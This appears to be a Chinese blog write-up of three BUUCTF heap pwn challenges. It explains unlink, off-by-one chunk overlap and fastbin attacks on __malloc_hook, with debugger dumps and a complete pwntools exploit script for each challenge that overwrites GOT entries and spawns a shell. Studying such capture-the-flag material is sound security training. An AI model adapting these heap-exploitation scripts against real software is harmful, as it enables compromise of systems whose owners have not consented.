本文记录一些buuctf中不是很典型,但是仍然值得记录的pwn题,以便于查看。
重点来到改中,这里可以随意输入大小,然后根据输入的大小来为堆块中填入数据。这样就造成了堆溢出漏洞。
由于此题存在堆溢出漏洞,我们又掌控着heap地址的存在位置,这样我们很容易就想到unlink漏洞来控制堆块。
由于程序本身的原因,我们先malloc一个堆块,这样就可以把程序本身需要申请的输入输出流堆块给申请出来(看了ctfwiki得知)
解决掉这麻烦后,我们就直接来用unlink漏洞来把堆块劫持到heap地址存在的位置0x602140处。
new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16 - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)
这是一组典型的unlink利用代码,可以把堆块劫持到heap地址存在 - 8处。
这样我们就把chunk2劫持到了heap地址存在处附近。
达到这一步,我们就很容易的可以直接把got表中的信息泄露出来,甚至可以随意修改他们。
payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)
把这些got写到这里后,我们就可以对他们进行操作了。
由于此题没有泄露的函数,我们只能通过修改free_got为puts_plt,这样删函数就变成了查函数了,我们delete(1)就会泄露puts_got的真正地址。
接下来就可以直接修改atoi_got为system函数基址了。
#! /usr/bin/env python
from pwn import *
p = process('./stkof')
#p = remote('node3.buuoj.cn', 27616)
elf = ELF('./stkof')
libc = ELF('./libc.so.6')
heap = 0x602140
def new(size):
p.sendline('1')
p.sendline(str(size))
def read(index, size, content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.sendline(str(content))
def delete(index):
p.sendline('3')
p.sendline(str(index))
new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16 - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)
p.recvuntil('OK\n')
payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)
gdb.attach(p)
pause()
read(0, 0x8, p64(elf.plt['puts']))
delete(1)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').next() + libc_base
read(2, 0x8, p64(system))
#p.recvuntil('OK\n')
p.sendline('/bin/sh\x00')
p.interactive()
查看伪代码后发现,程序首先会malloc一个0x21的堆块,用来存储堆块的地址,然后我们就可以自己输入任意大小的堆块,然后输入数据。
在本地调试中,申请一块0x21大小,截取到一些数据:
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000014 0x0000000000603030
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x000000000a616161 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000020fc1
从数据来看,我们发现的确是我们想得那样。
改函数需要我们输入一个index,然后对其进行修改,我们发现,在改函数中,我们可以多输入一个字节。
这样我们就可以利用off by one。
我们发现可以利用off by one来进行overlap。
我们首先申请两个0x21大小的堆块,然后对进行chunk0进行修改。
new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)
我们通过本地调试,截取到下面数据:
0x0000000000000000 0x0000000000000021
0x1ed8010: 0x0000000000000018 0x0000000001ed8030
0x1ed8020: 0x0000000000000000 0x0000000000000021
0x1ed8030: 0x0068732f6e69622f 0x6161616161616161
0x1ed8040: 0x6161616161616161 0x0000000000000041
0x1ed8050: 0x0000000000000010 0x0000000001ed8070
0x1ed8060: 0x0000000000000000 0x0000000000000021
0x1ed8070: 0x0000000000626262 0x0000000000000000
0x1ed8080: 0x0000000000000000 0x0000000000020f81
我们把保存堆地址的堆的size改为了0x41,接下来我们就直接删除这一堆块。
老pwn都知道,我们删除的堆块并不会消失不见,并且当我们再次申请一块相同大小的堆块时,堆块就会申请到这里来,这正是我们要利用的点。
我们再次申请:
delete(1)
new(0x30, 'ccc')
我们本地调试,截取到一些数据:
0x10fe000: 0x0000000000000000 0x0000000000000021
0x10fe010: 0x0000000000000018 0x00000000010fe030
0x10fe020: 0x0000000000000000 0x0000000000000021
0x10fe030: 0x0068732f6e69622f 0x6161616161616161
0x10fe040: 0x6161616161616161 0x0000000000000041
0x10fe050: 0x0000000000636363 0x00000000010fe070
0x10fe060: 0x0000000000000000 0x0000000000000021
0x10fe070: 0x0000000000000030 0x00000000010fe050
0x10fe080: 0x0000000000000000 0x0000000000020f81
我们发现我们可以写的堆居然到存地址堆的前面,其实这也是利用了堆分配机制。
有了这样的堆块,我们就可以直接改写堆指针。
这样我们就可以先泄露数据,再改写got表。
#! /usr/bin/env python
from pwn import *
p = process('./heapcreator')
#p = remote('node3.buuoj.cn', 27707)
elf = ELF('./heapcreator')
libc = ELF('./libc.so.6')
def new(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Size of Heap : ', str(size))
p.sendafter('Content of heap:', content)
def edit(index, content):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(index))
p.sendafter('Content of heap : ', content)
def show(index):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', str(index))
def delete(index):
p.sendlineafter('Your choice :', '4')
p.sendlineafter('Index :', str(index))
new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)
delete(1)
new(0x30, 'ccc')
payload = 'c' * 0x10 + p64(0) + p64(0x21) + p64(0x30) + p64(elf.got['free'])
edit(1, payload)
show(1)
free = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(free)
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
edit(1, p64(system))
delete(0)
p.interactive()
题目有四个功能,增删改查。
先输入size,然后程序会用calloc来申请堆块,而calloc申请的时候,会先清空堆块,这样就不好泄露什么东西了。
输入index后我们可以输入size来改写堆块内容,这样我们就可以用此来进行堆溢出。
题目使用calloc,存在堆溢出漏洞。
我们第一步需要泄露libc基址,然后我们就劫持malloc_hook,改写为one_gadget使得getshell。
由于本题采用calloc,并且free堆块全部置空,我们并不是很容易就可以泄露出unsortedbin中的main_arena。我们需要构造一番。
new(0x60) #chunk0
new(0x40) #chunk1
payload = 'a' * 0x60 + p64(0) + p64(0x71) #我们溢出0x10,改写chunk1的堆块大小
edit(0, len(payload), payload)
new(0x100) #chunk2
payload = 'a' * 0x10 + p64(0) + p64(0x71) #构造0x71,绕过检测
edit(2, 0x20, payload)
delete(1)
new(0x60) #new chunk1
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50) #chunk3 防止堆块与topchunk合并
delete(2)
我们改写堆块size位,使得堆块堆叠,达到泄露main_arena的目的。
0x55fb28f1a000: 0x0000000000000000 0x0000000000000071 #chunk0
0x55fb28f1a010: 0x6161616161616161 0x6161616161616161
0x55fb28f1a020: 0x6161616161616161 0x6161616161616161
0x55fb28f1a030: 0x6161616161616161 0x6161616161616161
0x55fb28f1a040: 0x6161616161616161 0x6161616161616161
0x55fb28f1a050: 0x6161616161616161 0x6161616161616161
0x55fb28f1a060: 0x6161616161616161 0x6161616161616161
0x55fb28f1a070: 0x0000000000000000 0x0000000000000071 #chunk1
0x55fb28f1a080: 0x6161616161616161 0x6161616161616161
0x55fb28f1a090: 0x6161616161616161 0x6161616161616161
0x55fb28f1a0a0: 0x6161616161616161 0x6161616161616161
0x55fb28f1a0b0: 0x6161616161616161 0x6161616161616161
0x55fb28f1a0c0: 0x0000000000000000 0x0000000000000111 #chunk2
0x55fb28f1a0d0: 0x00007feaf0028b78 0x00007feaf0028b78
0x55fb28f1a0e0: 0x0000000000000000 0x0000000000000071 #fake chunk2
0x55fb28f1a0f0: 0x0000000000000000 0x0000000000000000
0x55fb28f1a100: 0x0000000000000000 0x0000000000000000
做完这些步骤后,我们发现chunk1可以泄露0x60大小的数据,而正好包括了chunk2的main_arena地址。
之后就很容易的的到libcbase了。
delete(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10)
edit(0, len(payload), payload)
new(0x60)
new(0x60)
payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a)
edit(2, len(payload), payload)
这里就只是利用了简单的fastbin attack,改写fd指针后,我们申请两次0x60大小的堆块,在malloc_hook - 0x23处找到0x7f,绕过fastbin申请的检测,然后将malloc_hook指针处改写为one_gadget。
之后再申请一次,直接getshell。
#! /usr/bin/env python
from pwn import *
p = process('./0ctf_2017_babyheap')
#p = remote('node3.buuoj.cn', 25229)
elf = ELF('./0ctf_2017_babyheap')
libc = ELF('./libc.so.6')
def new(size):
p.sendlineafter('Command: ', '1')
p.sendlineafter('Size: ', str(size))
def edit(index, size, content):
p.sendlineafter('Command: ', '2')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Content: ', content)
def delete(index):
p.sendlineafter('Command: ', '3')
p.sendlineafter('Index: ', str(index))
def show(index):
p.sendlineafter('Command: ', '4')
p.sendlineafter('Index: ', str(index))
new(0x60)
new(0x40)
payload = 'a' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload), payload)
new(0x100)
payload = 'a' * 0x10 + p64(0) + p64(0x71)
edit(2, 0x20, payload)
delete(1)
new(0x60)
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)
delete(2)
show(1)
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(main_arena)
malloc_hook = main_arena - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
delete(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10)
edit(0, len(payload), payload)
new(0x60)
new(0x60)
payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a)
edit(2, len(payload), payload)
new(0x60)
p.interactive()
未完待续。。。